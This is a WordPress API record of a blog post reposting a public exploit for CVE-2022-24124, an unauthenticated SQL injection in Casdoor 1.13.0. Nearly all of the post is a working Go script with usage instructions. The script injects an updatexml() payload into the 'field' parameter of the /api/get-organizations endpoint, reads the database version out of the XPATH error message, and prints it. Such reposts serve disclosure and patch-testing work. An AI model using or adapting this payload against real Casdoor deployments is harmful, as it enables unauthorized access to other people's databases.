{"id":21124,"date":"2022-02-28T20:18:23","date_gmt":"2022-02-28T17:18:23","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166163\/casdoor1130-sql.txt"},"modified":"2022-03-02T12:34:28","modified_gmt":"2022-03-02T09:04:28","slug":"casdoor-1-13-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/casdoor-1-13-0-sql-injection\/","title":{"rendered":"Casdoor 1.13.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">\/\/ Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated)<br \/>\n\/\/ Date: 2022-02-25<br \/>\n\/\/ Exploit Author: Mayank Deshmukh<br \/>\n\/\/ Vendor Homepage: https:\/\/casdoor.org\/<br \/>\n\/\/ Software Link: https:\/\/github.com\/casdoor\/casdoor\/releases\/tag\/v1.13.0<br \/>\n\/\/ Version: version &lt; 1.13.1<br \/>\n\/\/ Security Advisory: https:\/\/github.com\/advisories\/GHSA-m358-g4rp-533r<br \/>\n\/\/ Tested on: Kali Linux<br \/>\n\/\/ CVE : CVE-2022-24124<br \/>\n\/\/ Github POC: https:\/\/github.com\/ColdFusionX\/CVE-2022-24124<\/p>\n<p dir=\"ltr\">\/\/ Exploit Usage : go run exploit.go -u http:\/\/127.0.0.1:8080<\/p>\n<p dir=\"ltr\">package main<\/p>\n<p dir=\"ltr\">import (<br \/>\n&#8220;flag&#8221;<br \/>\n&#8220;fmt&#8221;<br \/>\n&#8220;html&#8221;<br \/>\n&#8220;io\/ioutil&#8221;<br \/>\n&#8220;net\/http&#8221;<br \/>\n&#8220;os&#8221;<br \/>\n&#8220;regexp&#8221;<br \/>\n&#8220;strings&#8221;<br \/>\n)<\/p>\n<p dir=\"ltr\">func main() {<br \/>\nvar url string<br \/>\nflag.StringVar(&amp;url, &#8220;u&#8221;, &#8220;&#8221;, &#8220;Casdoor URL (ex. http:\/\/127.0.0.1:8080)&#8221;)<br \/>\nflag.Parse()<\/p>\n<p dir=\"ltr\">banner := `<br \/>\n-=Casdoor SQL Injection (CVE-2022-24124)=-<br \/>\n&#8211; by Mayank Deshmukh (ColdFusionX)<\/p>\n<p dir=\"ltr\">`<br \/>\nfmt.Printf(banner)<br \/>\nfmt.Println(&#8220;[*] Dumping Database Version&#8221;)<br \/>\nresponse, err := http.Get(url + &#8220;\/api\/get-organizations?p=123&amp;pageSize=123&amp;value=cfx&amp;sortField=&amp;sortOrder=&amp;field=updatexml(null,version(),null)&#8221;)<\/p>\n<p dir=\"ltr\">if err != nil {<br \/>\npanic(err)<br \/>\n}<\/p>\n<p dir=\"ltr\">defer response.Body.Close()<\/p>\n<p dir=\"ltr\">databytes, err := ioutil.ReadAll(response.Body)<\/p>\n<p dir=\"ltr\">if err != nil {<br \/>\npanic(err)<br \/>\n}<\/p>\n<p dir=\"ltr\">content := string(databytes)<\/p>\n<p dir=\"ltr\">re := regexp.MustCompile(&#8220;(?i)(XPATH syntax error.*&amp;#39)&#8221;)<\/p>\n<p dir=\"ltr\">result := re.FindAllString(content, -1)<\/p>\n<p dir=\"ltr\">sqliop := fmt.Sprint(result)<br \/>\nreplacer := strings.NewReplacer(&#8220;[&#8220;, &#8220;&#8221;, &#8220;]&#8221;, &#8220;&#8221;, &#8220;&amp;#39&#8221;, &#8220;&#8221;, &#8220;;&#8221;, &#8220;&#8221;)<\/p>\n<p dir=\"ltr\">finalop := replacer.Replace(sqliop)<br \/>\nfmt.Println(html.UnescapeString(finalop))<\/p>\n<p dir=\"ltr\">if result == nil {<br \/>\nfmt.Printf(&#8220;Application not vulnerable\\n&#8221;)<br \/>\nos.Exit(1)<br \/>\n}<\/p>\n<p dir=\"ltr\">}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\/\/ Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \/\/ Date: 2022-02-25 \/\/ Exploit Author: Mayank Deshmukh \/\/ Vendor Homepage: https:\/\/casdoor.org\/ \/\/ Software Link: https:\/\/github.com\/casdoor\/casdoor\/releases\/tag\/v1.13.0 \/\/ Version: version &lt; 1.13.1 \/\/ Security Advisory: https:\/\/github.com\/advisories\/GHSA-m358-g4rp-533r \/\/ Tested on: Kali Linux \/\/ CVE : CVE-2022-24124 \/\/ Github POC: https:\/\/github.com\/ColdFusionX\/CVE-2022-24124 \/\/ Exploit Usage : go run exploit.go -u http:\/\/127.0.0.1:8080 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21124","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21124"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21124\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}